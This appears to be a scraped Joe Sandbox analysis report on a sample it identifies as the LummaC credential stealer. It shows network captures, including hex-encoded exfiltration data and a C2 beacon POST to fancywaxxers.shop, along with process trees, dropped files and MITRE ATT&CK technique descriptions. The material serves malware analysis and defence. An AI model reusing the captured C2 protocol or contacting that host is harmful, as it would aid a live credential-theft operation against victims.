2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: 8a c8 78 0b 34 c2 b8 d4 68 c5 86 3d e7 38 84 46 ef cf be f2 b6 be 1b ea 3d 68 c3 c3 58 92 18 a0 bc bd 47 70 e2 28 97 6e 4d c0 64 98 1d 00 ba a1 9b b9 fb b8 40 6b ee 41 b4 ee 5f ab 63 68 60 64 78 4a 0b 3e 84 2e c9 84 da f4 38 21 ac 8a 38 ff 21 1b 49 c1 66 cd ae 94 f2 13 0a dd 8b 31 cc b3 ba b9 6a 8d 07 33 a3 6c f6 81 c4 a5 86 1f 4b 67 5a c3 ae aa 11 ed d7 53 91 38 0c 98 85 bd 98 17 f0 1e f8 4b aa 49 ff 72 43 6c 24 47 c5 ef 08 02 18 fa 41 d6 ad 10 12 04 db 84 fa 05 d1 17 be 82 17 bb ea 6f 74 2d 51 f2 0d fb 86 a8 2f 17 62 02 b8 b8 f7 d0 20 46 6a a5 ff dd 76 14 22 bc 16 c6 f5 20 23 a5 95 12 66 61 6d ca 68 e7 7c 95 e9 bc 07 c6 97 aa 2c b1 f9 d8 14 6f 49 79 7e be 8f 96 c3 2e 47 58 c4 1f ea 14 b9 a5 2d 5d 77 8f f7 7b a9 25 24 47 4a f6 49 57 6a 22 e4 5d 50 8c 39 Data Ascii: x4h=8F=hXGp(nMd@kA_ch`dxJ>.8!8!If1j3lKgZS8KIrCl$GAot-Q/b Fjv" #famh\|,oIy~.GX-]w{%$GJIWj"]P9
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: ce f4 73 77 23 56 e3 b2 af c3 45 23 c3 c2 b9 12 0b 51 9f 2e 06 c5 c1 29 b8 9c 5b 17 11 f0 21 9f 85 fa 4a f9 1c 4d 61 90 60 db 84 ae 41 d6 cf ee 77 2e 3d 62 ac 1c b9 2d 3f 94 f7 67 b4 a6 bd 5f 29 32 ee e8 67 1b d6 19 17 14 15 2d 5d 70 f5 7c de 68 b4 e5 51 fb 06 67 db fe 7b 17 e1 88 27 eb 66 cf 04 f6 dd d5 19 75 02 7f 9e ca 08 37 16 12 51 fb fb 22 e3 4e 6a 55 5d 89 2a ae de ba 0b fc 44 ce 6a 67 87 fc 7d 14 93 bb 3f 7f 1b b9 48 44 71 6f 86 26 b3 68 df df 2e 2e b9 8f 43 30 87 e3 e2 2a 30 5a 28 d1 2d 5b 0a d4 ab 6e fe 23 0e 6a 53 6d 06 50 f8 19 04 5b 5a e4 55 82 cd 3f 2d 85 af 5d 8b 65 07 e0 4a a1 8e 59 6d 45 54 1f 8e 2c 91 42 23 73 20 e6 e0 8f 63 66 79 ef 8c 10 3e 5b dc 80 d7 bf 73 9a 25 02 dd ff f8 61 e2 b9 b8 84 8a 51 73 ba 2d df 73 ae 26 4c e8 b1 a1 99 09 Data Ascii: sw#VE#Q.)[!JMa`Aw.=b-?g_)2g-]p\|hQg{'fu7Q"NjU]Djg}?HDqo&h..C00Z(-[n#jSmP[ZU?-]eJYmET,B#s cfy>[s%aQs-s&L
2024-12-31 14:42:02 UTC	15331	OUT	Data Raw: 83 e3 7f ff 02 8e e0 b1 49 e9 31 d4 58 b4 e8 ac ec 7a bf d1 87 a2 1b 42 bd da bb f3 72 8e 86 36 3a 6c bd 37 5a df 88 c6 1e dd 43 75 05 c5 af 84 dd 86 95 ea ab af 9b c3 92 42 fb b8 72 25 40 46 ea e4 f9 a4 00 48 1a 21 20 74 d5 fa 31 0e d8 76 05 90 85 a1 94 ba ce 8b 21 c0 16 fc 16 82 f2 23 88 fd e8 b0 a5 41 4f 82 3d d7 34 31 ec c8 85 5b c3 2f 59 db 3c a2 51 31 15 9a bb de eb d9 c7 d0 46 58 29 9f a8 c2 a8 c4 1b f7 bd 80 55 d5 46 c2 d9 94 36 db 0a 6e f1 b9 09 f4 b7 ed cd b2 24 13 8e d4 fc cb b1 54 46 bb 05 24 0c 1c 82 f4 c7 aa 79 22 19 72 b9 b9 bd 5a 0f e3 3e 0d 36 19 0d 48 2c 8e f8 30 db b2 ec 42 24 a6 2f c2 97 c0 25 d5 8f dd 5f eb 71 f8 c4 b5 08 10 d4 74 59 14 16 37 b8 d5 66 6d 6f 3e e4 8a 0a a9 7a 21 6e 33 3b 76 ea 9a 33 bb 69 21 30 cb ef 03 82 b7 dd 4c 74 Data Ascii: I1XzBr6:l7ZCuBr%@FH! t1v!#AO=41[/Y<Q1FX)UF6n$TF$y"rZ>6H,0B$/%_qtY7fmo>z!n3;v3i!0Lt
2024-12-31 14:42:06 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tdt98vpg9vlnhnkg1qqnreipfi; expires=Sat, 26 Apr 2025 08:28:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zBMzAfwQoRDtk4l7a58odc1Rt3F8aBwytmbkQMyaiRrUc3O7MK1JAVnGKsa%2BfGbS9DyniFGcghKVZyNatoFOgtSdK5Z534iLC%2Bh3RxtCrAUQ3VxG4v2ZRyi%2BQjtqqfpl0UaLoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab08adbfedc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1508&min_rtt=1504&rtt_var=573&sent=193&recv=570&lost=0&retrans=0&sent_bytes=2843&recv_bytes=554139&delivery_rate=1896103&cwnd=214&unsent_bytes=0&cid=284af6a4edc9904e&ts=3553&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49714	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:42:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: fancywaxxers.shop
2024-12-31 14:42:06 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 31 44 32 41 45 31 35 46 33 35 32 45 46 45 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=1D2AE15F352EFE5C20A4C476FD51BCB1
2024-12-31 14:42:06 UTC	1135	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cncblfa3i3e0i4r2kvvquscd7n; expires=Sat, 26 Apr 2025 08:28:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r4cY4j9lQ%2BW6UcpJLD5xPoNt%2Fhsn91rAqku2gqPnlYrrhuUOTdCX%2BOdheX2b%2BnqCo32HJOaBsAbo4lhyzAKv8%2Fq74PnZnPNwFcrCkDGnfxkKmBLN5pWl4ybC97TtzFZG%2BMW5NA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab08c6fc818c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1770&rtt_var=712&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=989&delivery_rate=1487519&cwnd=238&unsent_bytes=0&cid=de2c9a0b673096f7&ts=493&x=0"
2024-12-31 14:42:06 UTC	210	IN	Data Raw: 63 63 0d 0a 2f 36 62 30 79 6f 6d 6a 49 58 49 33 72 38 41 6d 77 36 50 71 71 6e 4c 4b 2b 4f 68 62 4b 33 6e 37 58 57 69 79 2f 50 67 48 57 75 75 6b 33 64 61 2f 71 35 6b 44 47 6b 50 62 73 42 79 66 6a 4c 61 46 51 2f 4c 4e 78 6d 6b 61 54 4e 56 73 57 59 48 53 79 54 45 47 78 4a 44 41 6b 70 61 6d 78 30 51 55 47 63 71 34 51 2b 47 50 79 4d 77 47 36 4d 4c 59 64 77 6b 63 32 57 64 5a 7a 39 43 44 4a 53 2f 4a 78 59 53 63 76 76 33 54 47 79 34 59 38 2b 38 58 2b 35 62 45 6d 45 50 2f 31 74 6c 71 47 46 66 4b 61 7a 53 64 6b 35 35 68 42 73 53 62 77 35 4c 6b 37 4e 74 45 55 42 75 4e 70 6c 4c 68 6d 64 71 47 55 4b 2f 61 30 6d 74 57 4a 41 3d 3d 0d 0a Data Ascii: cc/6b0yomjIXI3r8Amw6PqqnLK+OhbK3n7XWiy/PgHWuuk3da/q5kDGkPbsByfjLaFQ/LNxmkaTNVsWYHSyTEGxJDAkpamx0QUGcq4Q+GPyMwG6MLYdwkc2WdZz9CDJS/JxYScvv3TGy4Y8+8X+5bEmEP/1tlqGFfKazSdk55hBsSbw5Lk7NtEUBuNplLhmdqGUK/a0mtWJA==
2024-12-31 14:42:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49739	13.107.246.45	443	3576	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:42:29 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Target ID:	0
Start time:	09:41:50
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\SMmAznmdAa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SMmAznmdAa.exe"
Imagebase:	0xfb0000
File size:	1'813'504 bytes
MD5 hash:	81C26AE8BB24C97CD8FC89BCFD82E413
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1668963495.0000000001996000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:42:16
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:42:18
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:42:21
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1964,i,16643933853050129922,7654861729800679491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:42:21
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1872,i,16145117965439116962,11826208785470456376,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SMmAznmdAa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
SMmAznmdAa.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre